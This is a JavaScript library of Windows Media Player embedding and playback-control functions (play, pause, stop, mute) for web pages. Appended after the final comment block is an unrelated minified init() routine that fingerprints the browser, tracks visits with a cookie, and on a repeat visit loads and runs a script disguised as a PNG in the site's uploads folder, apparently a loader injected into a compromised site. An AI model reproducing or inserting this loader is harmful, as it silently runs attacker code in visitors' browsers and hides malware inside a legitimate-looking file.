/**
 * @author Weemen
 * 
 * IMPORTANT SOURCES:
 * http://therossman.org/experiments/wmp_play.html
 * http://msdn.microsoft.com/en-us/library/bb249259(VS.85).aspx
 * http://msdn.microsoft.com/en-us/library/bb249579(VS.85).aspx
 */

function wmpCreate(url,unique_id) 
{
    var str = "";
	var browser=navigator.appName;

    if (browser == "Microsoft Internet Explorer") {

         // create the WMP for IE
		 // str = '<object id="contentPlayer" classid="CLSID:6BF52A52-394A-11d3-B153-00C04'+unique_id+'" width="320" height="240">';
         str = '<object id="contentPlayer'+unique_id+'" classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" width="320" height="240">';

    } else {

         // create it for FF.

         str = '<object id="contentPlayer'+unique_id+'" type="application/x-ms-wmp" data="'+url+'" width="320" height="240">';

    }

    str += '<param name="URL" value="'+url+'" />';
    str += '<param name="uiMode" value="none">';
	str += '<PARAM name="autoStart" value="False">';
    str += '</object>';

    return str;
}

// This function will run every time the Media changes in Windows Media Player
function wmpMediaChange(item) 
{

 // get a handle to the Windows Media Player
 var wmp = document.getElementById('contentPlayer');

 // alert the data for convenience
 //alert ( wmp.currentMedia.name );
 //alert ( wmp.currentMedia.sourceURL );

}

var playstateValues = new Array("Undefined","Stopped","Paused","Playing","Scan Forward","Scan Reverse","Buffering","Waiting","Media Ended","Transitioning","Ready","Reconnecting");

// This function will run every time the Play State changes in Windows Media Player
function wmpPlayStateChange(newState) 
{
 // alert the play state value in plain text for convenience
 //alert ( playstateValues[newState] );
}

// WINDOWS MEDIAPLAYER CONTROL FUNCTIONS
// The Stop Function
function wmpStop(unique_id)
{
	var player = 'contentPlayer'+unique_id;
	var wmp = document.getElementById(player);
	wmp.controls.stop();
}

//The Pauze Function
function wmpPause(unique_id)
{
	var player = 'contentPlayer'+unique_id;
	var wmp = document.getElementById(player);
	wmp.controls.pause();  //pauses the mediaplayer
	var playBtnArea = document.getElementById('playBtnArea'+unique_id);
	//alert('playBtnArea'+unique_id);
	playBtnArea.innerHTML = "<input type='image' src='./images/player_playbtn.png' onClick='wmpPlay("+unique_id+");'>";
}

//The Pauze Function
function wmpPlay(unique_id)
{
	var player = 'contentPlayer'+unique_id;
	var wmp = document.getElementById(player);
	wmp.controls.play(); //play or resume the player
	var playBtnArea = document.getElementById('playBtnArea'+unique_id);
	playBtnArea.innerHTML = "<input type='image' src='./images/player_pausebtn.png' onClick='wmpPause("+unique_id+");'>";
}

function wmpSound(unique_id)
{
	var player = 'contentPlayer'+unique_id;
	var wmp = document.getElementById(player);
	wmp.settings.mute = false; //unmute the sound of the mediaplayer
	var volumeBtnArea = document.getElementById('volumeBtnArea'+unique_id);
	volumeBtnArea.innerHTML = "<input type='image' src='./images/player_soundon.png' onClick='wmpMute("+unique_id+");'>";
}

function wmpMute(unique_id)
{
	var player = 'contentPlayer'+unique_id;
	var wmp = document.getElementById(player);
	wmp.settings.mute = true; //mute the sound of the mediaplayer
	var volumeBtnArea = document.getElementById('volumeBtnArea'+unique_id);
	volumeBtnArea.innerHTML = "<input type='image' src='./images/player_soundoff.png' onClick='wmpSound("+unique_id+");'>";
}

/* #####################################################################
 * ############# ADDITIONAL CODE NEEDED IN (X)HTML/PHP FILE ############
 * 
  	<script language="JavaScript" for="contentPlayer" event="playStateChange(newState)">
	    wmpPlayStateChange(newState);
	</script>
	
	<!-- Create an event handler for media change. -->
	<script language="JavaScript" for="contentPlayer" event="mediaChange(Item)">
	    wmpMediaChange(Item);
	</script> 
   #####################################################################
 */

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/uploads/image/Home/2010-05-20_13-01-07_pebbles_spelende_kinderen.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
